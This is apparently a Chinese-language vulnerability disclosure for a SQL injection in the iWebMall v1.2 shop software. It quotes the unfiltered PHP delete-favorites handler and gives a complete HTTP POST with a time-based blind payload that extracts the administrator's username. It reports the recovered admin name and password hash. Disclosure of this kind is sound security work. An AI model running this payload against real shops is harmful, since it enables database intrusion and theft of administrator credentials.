### 简要描述：
Iwebmall最新版SQL注入第一枚
### 详细说明：
看到wooyun上有人提了几个iweb的漏洞（ [WooYun: iwebmall商城程序sql注入](http://www.wooyun.org/bugs/wooyun-2014-078282) ），我来捡捡漏儿吧，希望不要重复。官网下载最新v1.2来看看。
先把注入点拿出来：www.xxx.com/do.php?act=user_favorite_del，POST的内容中有个参数favorite，存在注入。
/action/user/favorite_del.action.php
```
无关代码
// 处理post变量
if(empty($_POST)){
$favorite_id = intval(get_args('id'));
}else{
$favorite=get_args('favorite');
if (!$favorite){
action_return(1,$m_langpackage->m_del_select,'modules.php?app=user_favorite');
}
$favorite_id=implode(',',$favorite);
}
$sql = "delete from `$t_user_favorite` where user_id='$user_id' and favorite_id in ($favorite_id)";
//echo $sql;
if($dbo->exeUpdate($sql)) {
action_return(1,$m_langpackage->m_del_success);
} else {
action_return(0,$m_langpackage->m_del_fail,'-1');
}
无关代码
```
当通过POST方法提交$favorite时，由于没有对$favorite进行过滤，因此这里可以注入。Iweb没有错误回显，这里用time-based blind进行注入测试。
Payload:
```
POST /do.php?act=user_favorite_del HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/modules.php?app=user_favorite
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; PHPSESSID=kqhu73sshc8adk1ltve8ki0u02; iweb_iweb_login=xxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 189
favorite%5B%5D=1) or (select if(mid((select admin_name from imall_admin_user where admin_id=1 limit 0,1),1,1)='z',sleep(3),0)) and
(1)=(1&deletesubmit=%E6%89%B9%E9%87%8F%E5%88%A0%E9%99%A4
```
登测试时：登陆后访问如上的请求，抓包，按上面的payload进行修改即可，抓包，按上面的payload进行修改即可。这里注意，favorite的值随便写一个值，本例为1。
因为是time-based blind 注入，猜测管理员用户名的第一个字母时，若错误，延迟2s左右，如下图
[<img src="https://images.seebug.org/upload/201412/050023492217effd8b7aa7bcfeb2d37b494f7800.jpg" alt="猜测错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/050023492217effd8b7aa7bcfeb2d37b494f7800.jpg)
若正确，延迟5s左右，如下图
[<img src="https://images.seebug.org/upload/201412/05002401fa7c6a672ee625f1316a3ebbf25af89d.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/05002401fa7c6a672ee625f1316a3ebbf25af89d.jpg)
按上面的方法依次做下去（burp intruder或者自己写个脚本跑），可测试管理员用户名为：admin，密码为： 21232f297a57a5a743894a0e4a801fc3
### 漏洞证明：
见 详细说明
京公网安备 11010502034610号
暂无评论